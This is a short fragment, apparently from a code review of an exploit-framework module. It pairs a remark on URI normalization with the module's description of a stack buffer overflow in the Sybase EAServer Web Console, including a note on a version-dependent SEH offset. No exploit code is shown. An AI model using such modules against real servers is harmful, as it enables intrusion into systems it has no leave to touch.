normalize_uri() should be used when you're joining URIs. Because if you're merging URIs after it's normalized, you could get double slashes again.

This module exploits a stack buffer overflow in the Sybase EAServer Web
|
|
Console. The offset to the SEH frame appears to change depending
|
|
on what version of Java is in use by the remote server, making this
|
|
exploit somewhat unreliable.
